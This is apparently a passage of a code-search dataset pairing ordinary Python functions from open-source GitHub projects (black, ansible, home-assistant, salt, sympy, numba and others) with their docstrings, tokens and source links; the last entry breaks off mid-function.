jazzband/django-celery-monitor	2b86acddc4cf2e65b63c8c7b2db7ecaa037b4b75	django_celery_monitor/managers.py	python	TaskStateQuerySet.purge	(self)		Purge all expired task states.	Purge all expired task states.	[ "Purge", "all", "expired", "task", "states", "." ]	def purge(self): """Purge all expired task states.""" with transaction.atomic(): self.using( router.db_for_write(self.model) ).filter(hidden=True).delete()	[ "def", "purge", "(", "self", ")", ":", "with", "transaction", ".", "atomic", "(", ")", ":", "self", ".", "using", "(", "router", ".", "db_for_write", "(", "self", ".", "model", ")", ")", ".", "filter", "(", "hidden", "=", "True", ")", ".", "delete", "(", ")" ]	https://github.com/jazzband/django-celery-monitor/blob/2b86acddc4cf2e65b63c8c7b2db7ecaa037b4b75/django_celery_monitor/managers.py#L86-L91
yogeshbalaji/Generate_To_Adapt	622d4984662b71bcdb88c33c5ac67e6ec8bad0ad	models.py	python	_netF.forward	(self, input)	return output.view(-1, 2*self.ndf)			[]	def forward(self, input): output = self.feature(input) return output.view(-1, 2*self.ndf)	[ "def", "forward", "(", "self", ",", "input", ")", ":", "output", "=", "self", ".", "feature", "(", "input", ")", "return", "output", ".", "view", "(", "-", "1", ",", "2", "*", "self", ".", "ndf", ")" ]	https://github.com/yogeshbalaji/Generate_To_Adapt/blob/622d4984662b71bcdb88c33c5ac67e6ec8bad0ad/models.py#L113-L115
Dan-in-CA/SIP	7d08d807d7730bff2b5eaaa57e743665c8b143a6	web/utils.py	python	group	(seq, size)	return (seq[i : i + size] for i in range(0, len(seq), size))	Returns an iterator over a series of lists of length size from iterable. >>> list(group([1,2,3,4], 2)) [[1, 2], [3, 4]] >>> list(group([1,2,3,4,5], 2)) [[1, 2], [3, 4], [5]]	Returns an iterator over a series of lists of length size from iterable.	[ "Returns", "an", "iterator", "over", "a", "series", "of", "lists", "of", "length", "size", "from", "iterable", "." ]	def group(seq, size): """ Returns an iterator over a series of lists of length size from iterable. >>> list(group([1,2,3,4], 2)) [[1, 2], [3, 4]] >>> list(group([1,2,3,4,5], 2)) [[1, 2], [3, 4], [5]] """ return (seq[i : i + size] for i in range(0, len(seq), size))	[ "def", "group", "(", "seq", ",", "size", ")", ":", "return", "(", "seq", "[", "i", ":", "i", "+", "size", "]", "for", "i", "in", "range", "(", "0", ",", "len", "(", "seq", ")", ",", "size", ")", ")" ]	https://github.com/Dan-in-CA/SIP/blob/7d08d807d7730bff2b5eaaa57e743665c8b143a6/web/utils.py#L586-L595
AIworx-Labs/chocolate	0ba4f6f0130eab851d32d5534241c8cac3f6666e	chocolate/connection/sqlite.py	python	SQLiteConnection.all_complementary	(self)	return list(db[self.complementary_table_name].all())	Get all entries of the complementary information table as a list. The order is undefined.	Get all entries of the complementary information table as a list. The order is undefined.	[ "Get", "all", "entries", "of", "the", "complementary", "information", "table", "as", "a", "list", ".", "The", "order", "is", "undefined", "." ]	def all_complementary(self): """Get all entries of the complementary information table as a list. The order is undefined. """ gc.collect() db = dataset.connect(self.url) return list(db[self.complementary_table_name].all())	[ "def", "all_complementary", "(", "self", ")", ":", "gc", ".", "collect", "(", ")", "db", "=", "dataset", ".", "connect", "(", "self", ".", "url", ")", "return", "list", "(", "db", "[", "self", ".", "complementary_table_name", "]", ".", "all", "(", ")", ")" ]	https://github.com/AIworx-Labs/chocolate/blob/0ba4f6f0130eab851d32d5534241c8cac3f6666e/chocolate/connection/sqlite.py#L154-L160
psf/black	33e3bb1e4e326713f85749705179da2e31520670	src/black/files.py	python	find_project_root	(srcs: Sequence[str])	return directory, "file system root"	Return a directory containing .git, .hg, or pyproject.toml. That directory will be a common parent of all files and directories passed in `srcs`. If no directory in the tree contains a marker that would specify it's the project root, the root of the file system is returned. Returns a two-tuple with the first element as the project root path and the second element as a string describing the method by which the project root was discovered.	Return a directory containing .git, .hg, or pyproject.toml.	[ "Return", "a", "directory", "containing", ".", "git", ".", "hg", "or", "pyproject", ".", "toml", "." ]	def find_project_root(srcs: Sequence[str]) -> Tuple[Path, str]: """Return a directory containing .git, .hg, or pyproject.toml. That directory will be a common parent of all files and directories passed in `srcs`. If no directory in the tree contains a marker that would specify it's the project root, the root of the file system is returned. Returns a two-tuple with the first element as the project root path and the second element as a string describing the method by which the project root was discovered. """ if not srcs: srcs = [str(Path.cwd().resolve())] path_srcs = [Path(Path.cwd(), src).resolve() for src in srcs] # A list of lists of parents for each 'src'. 'src' is included as a # "parent" of itself if it is a directory src_parents = [ list(path.parents) + ([path] if path.is_dir() else []) for path in path_srcs ] common_base = max( set.intersection((set(parents) for parents in src_parents)), key=lambda path: path.parts, ) for directory in (common_base, common_base.parents): if (directory / ".git").exists(): return directory, ".git directory" if (directory / ".hg").is_dir(): return directory, ".hg directory" if (directory / "pyproject.toml").is_file(): return directory, "pyproject.toml" return directory, "file system root"	[ "def", "find_project_root", "(", "srcs", ":", "Sequence", "[", "str", "]", ")", "->", "Tuple", "[", "Path", ",", "str", "]", ":", "if", "not", "srcs", ":", "srcs", "=", "[", "str", "(", "Path", ".", "cwd", "(", ")", ".", "resolve", "(", ")", ")", "]", "path_srcs", "=", "[", "Path", "(", "Path", ".", "cwd", "(", ")", ",", "src", ")", ".", "resolve", "(", ")", "for", "src", "in", "srcs", "]", "# A list of lists of parents for each 'src'. 'src' is included as a", "# \"parent\" of itself if it is a directory", "src_parents", "=", "[", "list", "(", "path", ".", "parents", ")", "+", "(", "[", "path", "]", "if", "path", ".", "is_dir", "(", ")", "else", "[", "]", ")", "for", "path", "in", "path_srcs", "]", "common_base", "=", "max", "(", "set", ".", "intersection", "(", "", "(", "set", "(", "parents", ")", "for", "parents", "in", "src_parents", ")", ")", ",", "key", "=", "lambda", "path", ":", "path", ".", "parts", ",", ")", "for", "directory", "in", "(", "common_base", ",", "", "common_base", ".", "parents", ")", ":", "if", "(", "directory", "/", "\".git\"", ")", ".", "exists", "(", ")", ":", "return", "directory", ",", "\".git directory\"", "if", "(", "directory", "/", "\".hg\"", ")", ".", "is_dir", "(", ")", ":", "return", "directory", ",", "\".hg directory\"", "if", "(", "directory", "/", "\"pyproject.toml\"", ")", ".", "is_file", "(", ")", ":", "return", "directory", ",", "\"pyproject.toml\"", "return", "directory", ",", "\"file system root\"" ]	https://github.com/psf/black/blob/33e3bb1e4e326713f85749705179da2e31520670/src/black/files.py#L34-L73
jgagneastro/coffeegrindsize	22661ebd21831dba4cf32bfc6ba59fe3d49f879c	App/venv/lib/python3.7/site-packages/pkg_resources/_vendor/pyparsing.py	python	ParserElement.__rand__	(self, other )	return other & self	Implementation of & operator when left operand is not a C{L{ParserElement}}	Implementation of & operator when left operand is not a C{L{ParserElement}}	[ "Implementation", "of", "&", "operator", "when", "left", "operand", "is", "not", "a", "C", "{", "L", "{", "ParserElement", "}}" ]	def __rand__(self, other ): """ Implementation of & operator when left operand is not a C{L{ParserElement}} """ if isinstance( other, basestring ): other = ParserElement._literalStringClass( other ) if not isinstance( other, ParserElement ): warnings.warn("Cannot combine element of type %s with ParserElement" % type(other), SyntaxWarning, stacklevel=2) return None return other & self	[ "def", "__rand__", "(", "self", ",", "other", ")", ":", "if", "isinstance", "(", "other", ",", "basestring", ")", ":", "other", "=", "ParserElement", ".", "_literalStringClass", "(", "other", ")", "if", "not", "isinstance", "(", "other", ",", "ParserElement", ")", ":", "warnings", ".", "warn", "(", "\"Cannot combine element of type %s with ParserElement\"", "%", "type", "(", "other", ")", ",", "SyntaxWarning", ",", "stacklevel", "=", "2", ")", "return", "None", "return", "other", "&", "self" ]	https://github.com/jgagneastro/coffeegrindsize/blob/22661ebd21831dba4cf32bfc6ba59fe3d49f879c/App/venv/lib/python3.7/site-packages/pkg_resources/_vendor/pyparsing.py#L2008-L2018
ansible/ansible	4676c08f188fb5dca98df61630c76dba1f0d2d77	lib/ansible/module_utils/distro/_distro.py	python	LinuxDistribution._parse_distro_release_file	(self, filepath)		Parse a distro release file. Parameters: * filepath: Path name of the distro release file. Returns: A dictionary containing all information items.	Parse a distro release file.	[ "Parse", "a", "distro", "release", "file", "." ]	def _parse_distro_release_file(self, filepath): # type: (str) -> Dict[str, str] """ Parse a distro release file. Parameters: * filepath: Path name of the distro release file. Returns: A dictionary containing all information items. """ try: with open(filepath) as fp: # Only parse the first line. For instance, on SLES there # are multiple lines. We don't want them... return self._parse_distro_release_content(fp.readline()) except (OSError, IOError): # Ignore not being able to read a specific, seemingly version # related file. # See https://github.com/python-distro/distro/issues/162 return {}	[ "def", "_parse_distro_release_file", "(", "self", ",", "filepath", ")", ":", "# type: (str) -> Dict[str, str]", "try", ":", "with", "open", "(", "filepath", ")", "as", "fp", ":", "# Only parse the first line. For instance, on SLES there", "# are multiple lines. We don't want them...", "return", "self", ".", "_parse_distro_release_content", "(", "fp", ".", "readline", "(", ")", ")", "except", "(", "OSError", ",", "IOError", ")", ":", "# Ignore not being able to read a specific, seemingly version", "# related file.", "# See https://github.com/python-distro/distro/issues/162", "return", "{", "}" ]	https://github.com/ansible/ansible/blob/4676c08f188fb5dca98df61630c76dba1f0d2d77/lib/ansible/module_utils/distro/_distro.py#L1346-L1367
thearn/Python-Arduino-Command-API	610171b3ae153542aca42d354fbb26c32027f38f	examples.py	python	softBlink	(led_pin, baud, port="")		Fades an LED off and on, using Arduino's analogWrite (PWM) function	Fades an LED off and on, using Arduino's analogWrite (PWM) function	[ "Fades", "an", "LED", "off", "and", "on", "using", "Arduino", "s", "analogWrite", "(", "PWM", ")", "function" ]	def softBlink(led_pin, baud, port=""): """ Fades an LED off and on, using Arduino's analogWrite (PWM) function """ board = Arduino(baud, port=port) i = 0 while True: i += 1 k = i % 510 if k % 5 == 0: if k > 255: k = 510 - k board.analogWrite(led_pin, k)	[ "def", "softBlink", "(", "led_pin", ",", "baud", ",", "port", "=", "\"\"", ")", ":", "board", "=", "Arduino", "(", "baud", ",", "port", "=", "port", ")", "i", "=", "0", "while", "True", ":", "i", "+=", "1", "k", "=", "i", "%", "510", "if", "k", "%", "5", "==", "0", ":", "if", "k", ">", "255", ":", "k", "=", "510", "-", "k", "board", ".", "analogWrite", "(", "led_pin", ",", "k", ")" ]	https://github.com/thearn/Python-Arduino-Command-API/blob/610171b3ae153542aca42d354fbb26c32027f38f/examples.py#L21-L34
idapython/src	839d93ac969bc1a152982464907445bc0d18a1f8	pywraps/py_kernwin_askform.py	python	Form.SetFocusedField	(self, ctrl)	return _ida_kernwin.formchgcbfa_set_focused_field(self.p_fa, ctrl.id)	Set currently focused input field @return: False - no such control	Set currently focused input field	[ "Set", "currently", "focused", "input", "field" ]	def SetFocusedField(self, ctrl): """ Set currently focused input field @return: False - no such control """ return _ida_kernwin.formchgcbfa_set_focused_field(self.p_fa, ctrl.id)	[ "def", "SetFocusedField", "(", "self", ",", "ctrl", ")", ":", "return", "_ida_kernwin", ".", "formchgcbfa_set_focused_field", "(", "self", ".", "p_fa", ",", "ctrl", ".", "id", ")" ]	https://github.com/idapython/src/blob/839d93ac969bc1a152982464907445bc0d18a1f8/pywraps/py_kernwin_askform.py#L1269-L1274
home-assistant/core	265ebd17a3f17ed8dc1e9bdede03ac8e323f1ab1	homeassistant/components/rpi_camera/camera.py	python	RaspberryCamera.__init__	(self, device_info)		Initialize Raspberry Pi camera component.	Initialize Raspberry Pi camera component.	[ "Initialize", "Raspberry", "Pi", "camera", "component", "." ]	def __init__(self, device_info): """Initialize Raspberry Pi camera component.""" super().__init__() self._name = device_info[CONF_NAME] self._config = device_info # Kill if there's raspistill instance kill_raspistill() cmd_args = [ "raspistill", "--nopreview", "-o", device_info[CONF_FILE_PATH], "-t", "0", "-w", str(device_info[CONF_IMAGE_WIDTH]), "-h", str(device_info[CONF_IMAGE_HEIGHT]), "-tl", str(device_info[CONF_TIMELAPSE]), "-q", str(device_info[CONF_IMAGE_QUALITY]), "-rot", str(device_info[CONF_IMAGE_ROTATION]), ] if device_info[CONF_HORIZONTAL_FLIP]: cmd_args.append("-hf") if device_info[CONF_VERTICAL_FLIP]: cmd_args.append("-vf") if device_info[CONF_OVERLAY_METADATA]: cmd_args.append("-a") cmd_args.append(str(device_info[CONF_OVERLAY_METADATA])) if device_info[CONF_OVERLAY_TIMESTAMP]: cmd_args.append("-a") cmd_args.append("4") cmd_args.append("-a") cmd_args.append(str(device_info[CONF_OVERLAY_TIMESTAMP])) # The raspistill process started below must run "forever" in # the background until killed when Home Assistant is stopped. # Therefore it must not be wrapped with "with", since that # waits for the subprocess to exit before continuing. subprocess.Popen( # pylint: disable=consider-using-with cmd_args, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT )	[ "def", "__init__", "(", "self", ",", "device_info", ")", ":", "super", "(", ")", ".", "__init__", "(", ")", "self", ".", "_name", "=", "device_info", "[", "CONF_NAME", "]", "self", ".", "_config", "=", "device_info", "# Kill if there's raspistill instance", "kill_raspistill", "(", ")", "cmd_args", "=", "[", "\"raspistill\"", ",", "\"--nopreview\"", ",", "\"-o\"", ",", "device_info", "[", "CONF_FILE_PATH", "]", ",", "\"-t\"", ",", "\"0\"", ",", "\"-w\"", ",", "str", "(", "device_info", "[", "CONF_IMAGE_WIDTH", "]", ")", ",", "\"-h\"", ",", "str", "(", "device_info", "[", "CONF_IMAGE_HEIGHT", "]", ")", ",", "\"-tl\"", ",", "str", "(", "device_info", "[", "CONF_TIMELAPSE", "]", ")", ",", "\"-q\"", ",", "str", "(", "device_info", "[", "CONF_IMAGE_QUALITY", "]", ")", ",", "\"-rot\"", ",", "str", "(", "device_info", "[", "CONF_IMAGE_ROTATION", "]", ")", ",", "]", "if", "device_info", "[", "CONF_HORIZONTAL_FLIP", "]", ":", "cmd_args", ".", "append", "(", "\"-hf\"", ")", "if", "device_info", "[", "CONF_VERTICAL_FLIP", "]", ":", "cmd_args", ".", "append", "(", "\"-vf\"", ")", "if", "device_info", "[", "CONF_OVERLAY_METADATA", "]", ":", "cmd_args", ".", "append", "(", "\"-a\"", ")", "cmd_args", ".", "append", "(", "str", "(", "device_info", "[", "CONF_OVERLAY_METADATA", "]", ")", ")", "if", "device_info", "[", "CONF_OVERLAY_TIMESTAMP", "]", ":", "cmd_args", ".", "append", "(", "\"-a\"", ")", "cmd_args", ".", "append", "(", "\"4\"", ")", "cmd_args", ".", "append", "(", "\"-a\"", ")", "cmd_args", ".", "append", "(", "str", "(", "device_info", "[", "CONF_OVERLAY_TIMESTAMP", "]", ")", ")", "# The raspistill process started below must run \"forever\" in", "# the background until killed when Home Assistant is stopped.", "# Therefore it must not be wrapped with \"with\", since that", "# waits for the subprocess to exit before continuing.", "subprocess", ".", "Popen", "(", "# pylint: disable=consider-using-with", "cmd_args", ",", "stdout", "=", "subprocess", ".", "DEVNULL", ",", "stderr", "=", "subprocess", ".", "STDOUT", ")" ]	https://github.com/home-assistant/core/blob/265ebd17a3f17ed8dc1e9bdede03ac8e323f1ab1/homeassistant/components/rpi_camera/camera.py#L86-L136

sympy/sympy

d822fcba181155b85ff2b29fe525adbafb22b448

sympy/series/limits.py

python

heuristics

(e, z, z0, dir)

return rv

Computes the limit of an expression term-wise. Parameters are the same as for the ``limit`` function. Works with the arguments of expression ``e`` one by one, computing the limit of each and then combining the results. This approach works only for simple limits, but it is fast.

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def heuristics(e, z, z0, dir): """Computes the limit of an expression term-wise. Parameters are the same as for the ``limit`` function. Works with the arguments of expression ``e`` one by one, computing the limit of each and then combining the results. This approach works only for simple limits, but it is fast. """ rv = None if abs(z0) is S.Infinity: rv = limit(e.subs(z, 1/z), z, S.Zero, "+" if z0 is S.Infinity else "-") if isinstance(rv, Limit): return elif e.is_Mul or e.is_Add or e.is_Pow or e.is_Function: r = [] for a in e.args: l = limit(a, z, z0, dir) if l.has(S.Infinity) and l.is_finite is None: if isinstance(e, Add): m = factor_terms(e) if not isinstance(m, Mul): # try together m = together(m) if not isinstance(m, Mul): # try factor if the previous methods failed m = factor(e) if isinstance(m, Mul): return heuristics(m, z, z0, dir) return return elif isinstance(l, Limit): return elif l is S.NaN: return else: r.append(l) if r: rv = e.func(*r) if rv is S.NaN and e.is_Mul and any(isinstance(rr, AccumBounds) for rr in r): r2 = [] e2 = [] for ii in range(len(r)): if isinstance(r[ii], AccumBounds): r2.append(r[ii]) else: e2.append(e.args[ii]) if len(e2) > 0: e3 = Mul(*e2).simplify() l = limit(e3, z, z0, dir) rv = l * Mul(*r2) if rv is S.NaN: try: rat_e = ratsimp(e) except PolynomialError: return if rat_e is S.NaN or rat_e == e: return return limit(rat_e, z, z0, dir) return rv

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https://github.com/sympy/sympy/blob/d822fcba181155b85ff2b29fe525adbafb22b448/sympy/series/limits.py#L70-L128

dragondjf/QMarkdowner

fc79c85ca2949fa9ce3b317606ad7bbcd1299960

tftpy/TftpContexts.py

python

TftpContext.__init__

(self, host, port, timeout, dyn_file_func=None)

Constructor for the base context, setting shared instance variables.

[ "Constructor", "for", "the", "base", "context", "setting", "shared", "instance", "variables", "." ]

def __init__(self, host, port, timeout, dyn_file_func=None): """Constructor for the base context, setting shared instance variables.""" self.file_to_transfer = None self.fileobj = None self.options = None self.packethook = None self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock.settimeout(timeout) self.timeout = timeout self.state = None self.next_block = 0 self.factory = TftpPacketFactory() # Note, setting the host will also set self.address, as it's a property. self.host = host self.port = port # The port associated with the TID self.tidport = None # Metrics self.metrics = TftpMetrics() # Fluag when the transfer is pending completion. self.pending_complete = False # Time when this context last received any traffic. # FIXME: does this belong in metrics? self.last_update = 0 # The last packet we sent, if applicable, to make resending easy. self.last_pkt = None self.dyn_file_func = dyn_file_func # Count the number of retry attempts. self.retry_count = 0

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https://github.com/dragondjf/QMarkdowner/blob/fc79c85ca2949fa9ce3b317606ad7bbcd1299960/tftpy/TftpContexts.py#L70-L99

avocado-framework/avocado

1f9b3192e8ba47d029c33fe21266bd113d17811f

optional_plugins/varianter_yaml_to_mux/avocado_varianter_yaml_to_mux/mux.py

python

MuxTreeNode.merge

(self, other)

Merges `other` node into this one without checking the name of the other node. New values are appended, existing values overwritten and unaffected ones are kept. Then all other node children are added as children (recursively they get either appended at the end or merged into existing node in the previous position.

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def merge(self, other): """ Merges `other` node into this one without checking the name of the other node. New values are appended, existing values overwritten and unaffected ones are kept. Then all other node children are added as children (recursively they get either appended at the end or merged into existing node in the previous position. """ for ctrl in other.ctrl: if isinstance(ctrl, Control): if ctrl.code == REMOVE_NODE: remove = [] regexp = re.compile(ctrl.value) for child in self.children: if regexp.match(child.name): remove.append(child) for child in remove: self.children.remove(child) elif ctrl.code == REMOVE_VALUE: remove = [] regexp = re.compile(ctrl.value) for key in self.value: if regexp.match(key): remove.append(key) for key in remove: self.value.pop(key, None) super(MuxTreeNode, self).merge(other) if other.multiplex is True: self.multiplex = True elif other.multiplex is False: self.multiplex = False

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https://github.com/avocado-framework/avocado/blob/1f9b3192e8ba47d029c33fe21266bd113d17811f/optional_plugins/varianter_yaml_to_mux/avocado_varianter_yaml_to_mux/mux.py#L323-L353

openshift/openshift-tools

1188778e728a6e4781acf728123e5b356380fe6f

openshift/installer/vendored/openshift-ansible-3.9.40/roles/lib_utils/library/yedit.py

python

Yedit.pop

(self, path, key_or_item)

return (False, self.yaml_dict)

remove a key, value pair from a dict or an item for a list

[ "remove", "a", "key", "value", "pair", "from", "a", "dict", "or", "an", "item", "for", "a", "list" ]

def pop(self, path, key_or_item): ''' remove a key, value pair from a dict or an item for a list''' try: entry = Yedit.get_entry(self.yaml_dict, path, self.separator) except KeyError: entry = None if entry is None: return (False, self.yaml_dict) if isinstance(entry, dict): # AUDIT:maybe-no-member makes sense due to fuzzy types # pylint: disable=maybe-no-member if key_or_item in entry: entry.pop(key_or_item) return (True, self.yaml_dict) return (False, self.yaml_dict) elif isinstance(entry, list): # AUDIT:maybe-no-member makes sense due to fuzzy types # pylint: disable=maybe-no-member ind = None try: ind = entry.index(key_or_item) except ValueError: return (False, self.yaml_dict) entry.pop(ind) return (True, self.yaml_dict) return (False, self.yaml_dict)

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https://github.com/openshift/openshift-tools/blob/1188778e728a6e4781acf728123e5b356380fe6f/openshift/installer/vendored/openshift-ansible-3.9.40/roles/lib_utils/library/yedit.py#L521-L551

CoinCheung/BiSeNet

f9231b7c971413e6ebdfcd961fbea53417b18851

lib/models/bisenetv2.py

python

BiSeNetV2.__init__

(self, n_classes, aux_mode='train')

[]

def __init__(self, n_classes, aux_mode='train'): super(BiSeNetV2, self).__init__() self.aux_mode = aux_mode self.detail = DetailBranch() self.segment = SegmentBranch() self.bga = BGALayer() ## TODO: what is the number of mid chan ? self.head = SegmentHead(128, 1024, n_classes, up_factor=8, aux=False) if self.aux_mode == 'train': self.aux2 = SegmentHead(16, 128, n_classes, up_factor=4) self.aux3 = SegmentHead(32, 128, n_classes, up_factor=8) self.aux4 = SegmentHead(64, 128, n_classes, up_factor=16) self.aux5_4 = SegmentHead(128, 128, n_classes, up_factor=32) self.init_weights()

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https://github.com/CoinCheung/BiSeNet/blob/f9231b7c971413e6ebdfcd961fbea53417b18851/lib/models/bisenetv2.py#L314-L329

saltstack/salt

fae5bc757ad0f1716483ce7ae180b451545c2058

salt/modules/rh_service.py

python

status

(name, sig=None)

return results[name]

Return the status for a service. If the name contains globbing, a dict mapping service name to True/False values is returned. .. versionchanged:: 2018.3.0 The service name can now be a glob (e.g. ``salt*``) Args: name (str): The name of the service to check sig (str): Signature to use to find the service via ps Returns: bool: True if running, False otherwise dict: Maps service name to True if running, False otherwise CLI Example: .. code-block:: bash salt '*' service.status <service name> [service signature]

Return the status for a service. If the name contains globbing, a dict mapping service name to True/False values is returned.

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def status(name, sig=None): """ Return the status for a service. If the name contains globbing, a dict mapping service name to True/False values is returned. .. versionchanged:: 2018.3.0 The service name can now be a glob (e.g. ``salt*``) Args: name (str): The name of the service to check sig (str): Signature to use to find the service via ps Returns: bool: True if running, False otherwise dict: Maps service name to True if running, False otherwise CLI Example: .. code-block:: bash salt '*' service.status <service name> [service signature] """ if sig: return bool(__salt__["status.pid"](sig)) contains_globbing = bool(re.search(r"\*|\?|\[.+\]", name)) if contains_globbing: services = fnmatch.filter(get_all(), name) else: services = [name] results = {} for service in services: if _service_is_upstart(service): cmd = "status {}".format(service) results[service] = "start/running" in __salt__["cmd.run"]( cmd, python_shell=False ) else: cmd = "/sbin/service {} status".format(service) results[service] = ( __salt__["cmd.retcode"](cmd, python_shell=False, ignore_retcode=True) == 0 ) if contains_globbing: return results return results[name]

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https://github.com/saltstack/salt/blob/fae5bc757ad0f1716483ce7ae180b451545c2058/salt/modules/rh_service.py#L495-L541

numba/numba

bf480b9e0da858a65508c2b17759a72ee6a44c51

numba/core/datamodel/models.py

python

DataModel.traverse

(self, builder)

return []

Traverse contained members. Returns a iterable of contained (types, getters). Each getter is a one-argument function accepting a LLVM value.

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def traverse(self, builder): """ Traverse contained members. Returns a iterable of contained (types, getters). Each getter is a one-argument function accepting a LLVM value. """ return []

[ "def", "traverse", "(", "self", ",", "builder", ")", ":", "return", "[", "]" ]

https://github.com/numba/numba/blob/bf480b9e0da858a65508c2b17759a72ee6a44c51/numba/core/datamodel/models.py#L89-L95

home-assistant/core

265ebd17a3f17ed8dc1e9bdede03ac8e323f1ab1

homeassistant/components/renault/renault_entities.py

python

RenaultEntity.__init__

( self, vehicle: RenaultVehicleProxy, description: EntityDescription, )

Initialise entity.

[ "Initialise", "entity", "." ]

def __init__( self, vehicle: RenaultVehicleProxy, description: EntityDescription, ) -> None: """Initialise entity.""" self.vehicle = vehicle self.entity_description = description self._attr_device_info = self.vehicle.device_info self._attr_unique_id = f"{self.vehicle.details.vin}_{description.key}".lower()

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https://github.com/home-assistant/core/blob/265ebd17a3f17ed8dc1e9bdede03ac8e323f1ab1/homeassistant/components/renault/renault_entities.py#L33-L42

meetbill/zabbix_manager

739e5b51facf19cc6bda2b50f29108f831cf833e

ZabbixTool/lib_zabbix/w_lib/mylib/xlwt/Autofit.py

python

HandleBlankCell

(workBook, row, cell)

return HandleDefaultCell(workBook, row, cell)

Will handle blank cells using the default handler

[ "Will", "handle", "blank", "cells", "using", "the", "default", "handler" ]

def HandleBlankCell(workBook, row, cell): """ Will handle blank cells using the default handler """ if workBook.emptyCellsAreZero: return 0 return HandleDefaultCell(workBook, row, cell)

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https://github.com/meetbill/zabbix_manager/blob/739e5b51facf19cc6bda2b50f29108f831cf833e/ZabbixTool/lib_zabbix/w_lib/mylib/xlwt/Autofit.py#L320-L328

sagemath/sage

f9b2db94f675ff16963ccdefba4f1a3393b3fe0d

src/sage/interfaces/mathics.py

python

Mathics._object_class

(self)

return MathicsElement

r""" Return the element class of this parent. This is used in the interface class. EXAMPLES:: sage: mathics._object_class() <class 'sage.interfaces.mathics.MathicsElement'>

r""" Return the element class of this parent. This is used in the interface class.

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def _object_class(self): r""" Return the element class of this parent. This is used in the interface class. EXAMPLES:: sage: mathics._object_class() <class 'sage.interfaces.mathics.MathicsElement'> """ return MathicsElement

[ "def", "_object_class", "(", "self", ")", ":", "return", "MathicsElement" ]

https://github.com/sagemath/sage/blob/f9b2db94f675ff16963ccdefba4f1a3393b3fe0d/src/sage/interfaces/mathics.py#L729-L740

JetBrains/python-skeletons

95ad24b666e475998e5d1cc02ed53a2188036167

builtins.py

python

int.__lshift__

(self, n)

return 0

x shifted left by n bits. :type n: numbers.Integral :rtype: int

x shifted left by n bits.

[ "x", "shifted", "left", "by", "n", "bits", "." ]

def __lshift__(self, n): """x shifted left by n bits. :type n: numbers.Integral :rtype: int """ return 0

[ "def", "__lshift__", "(", "self", ",", "n", ")", ":", "return", "0" ]

https://github.com/JetBrains/python-skeletons/blob/95ad24b666e475998e5d1cc02ed53a2188036167/builtins.py#L488-L494

molecularsets/moses

7b8f83b21a9b7ded493349ec8ef292384ce2bb52

moses/metrics/metrics.py

python

get_all_metrics

(gen, k=None, n_jobs=1, device='cpu', batch_size=512, pool=None, test=None, test_scaffolds=None, ptest=None, ptest_scaffolds=None, train=None)

return metrics

Computes all available metrics between test (scaffold test) and generated sets of SMILES. Parameters: gen: list of generated SMILES k: int or list with values for unique@k. Will calculate number of unique molecules in the first k molecules. Default [1000, 10000] n_jobs: number of workers for parallel processing device: 'cpu' or 'cuda:n', where n is GPU device number batch_size: batch size for FCD metric pool: optional multiprocessing pool to use for parallelization test (None or list): test SMILES. If None, will load a default test set test_scaffolds (None or list): scaffold test SMILES. If None, will load a default scaffold test set ptest (None or dict): precalculated statistics of the test set. If None, will load default test statistics. If you specified a custom test set, default test statistics will be ignored ptest_scaffolds (None or dict): precalculated statistics of the scaffold test set If None, will load default scaffold test statistics. If you specified a custom test set, default test statistics will be ignored train (None or list): train SMILES. If None, will load a default train set Available metrics: * %valid * %unique@k * Frechet ChemNet Distance (FCD) * Fragment similarity (Frag) * Scaffold similarity (Scaf) * Similarity to nearest neighbour (SNN) * Internal diversity (IntDiv) * Internal diversity 2: using square root of mean squared Tanimoto similarity (IntDiv2) * %passes filters (Filters) * Distribution difference for logP, SA, QED, weight * Novelty (molecules not present in train)

Computes all available metrics between test (scaffold test) and generated sets of SMILES. Parameters: gen: list of generated SMILES k: int or list with values for unique@k. Will calculate number of unique molecules in the first k molecules. Default [1000, 10000] n_jobs: number of workers for parallel processing device: 'cpu' or 'cuda:n', where n is GPU device number batch_size: batch size for FCD metric pool: optional multiprocessing pool to use for parallelization

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def get_all_metrics(gen, k=None, n_jobs=1, device='cpu', batch_size=512, pool=None, test=None, test_scaffolds=None, ptest=None, ptest_scaffolds=None, train=None): """ Computes all available metrics between test (scaffold test) and generated sets of SMILES. Parameters: gen: list of generated SMILES k: int or list with values for unique@k. Will calculate number of unique molecules in the first k molecules. Default [1000, 10000] n_jobs: number of workers for parallel processing device: 'cpu' or 'cuda:n', where n is GPU device number batch_size: batch size for FCD metric pool: optional multiprocessing pool to use for parallelization test (None or list): test SMILES. If None, will load a default test set test_scaffolds (None or list): scaffold test SMILES. If None, will load a default scaffold test set ptest (None or dict): precalculated statistics of the test set. If None, will load default test statistics. If you specified a custom test set, default test statistics will be ignored ptest_scaffolds (None or dict): precalculated statistics of the scaffold test set If None, will load default scaffold test statistics. If you specified a custom test set, default test statistics will be ignored train (None or list): train SMILES. If None, will load a default train set Available metrics: * %valid * %unique@k * Frechet ChemNet Distance (FCD) * Fragment similarity (Frag) * Scaffold similarity (Scaf) * Similarity to nearest neighbour (SNN) * Internal diversity (IntDiv) * Internal diversity 2: using square root of mean squared Tanimoto similarity (IntDiv2) * %passes filters (Filters) * Distribution difference for logP, SA, QED, weight * Novelty (molecules not present in train) """ if test is None: if ptest is not None: raise ValueError( "You cannot specify custom test " "statistics for default test set") test = get_dataset('test') ptest = get_statistics('test') if test_scaffolds is None: if ptest_scaffolds is not None: raise ValueError( "You cannot specify custom scaffold test " "statistics for default scaffold test set") test_scaffolds = get_dataset('test_scaffolds') ptest_scaffolds = get_statistics('test_scaffolds') train = train or get_dataset('train') if k is None: k = [1000, 10000] disable_rdkit_log() metrics = {} close_pool = False if pool is None: if n_jobs != 1: pool = Pool(n_jobs) close_pool = True else: pool = 1 metrics['valid'] = fraction_valid(gen, n_jobs=pool) gen = remove_invalid(gen, canonize=True) if not isinstance(k, (list, tuple)): k = [k] for _k in k: metrics['unique@{}'.format(_k)] = fraction_unique(gen, _k, pool) if ptest is None: ptest = compute_intermediate_statistics(test, n_jobs=n_jobs, device=device, batch_size=batch_size, pool=pool) if test_scaffolds is not None and ptest_scaffolds is None: ptest_scaffolds = compute_intermediate_statistics( test_scaffolds, n_jobs=n_jobs, device=device, batch_size=batch_size, pool=pool ) mols = mapper(pool)(get_mol, gen) kwargs = {'n_jobs': pool, 'device': device, 'batch_size': batch_size} kwargs_fcd = {'n_jobs': n_jobs, 'device': device, 'batch_size': batch_size} metrics['FCD/Test'] = 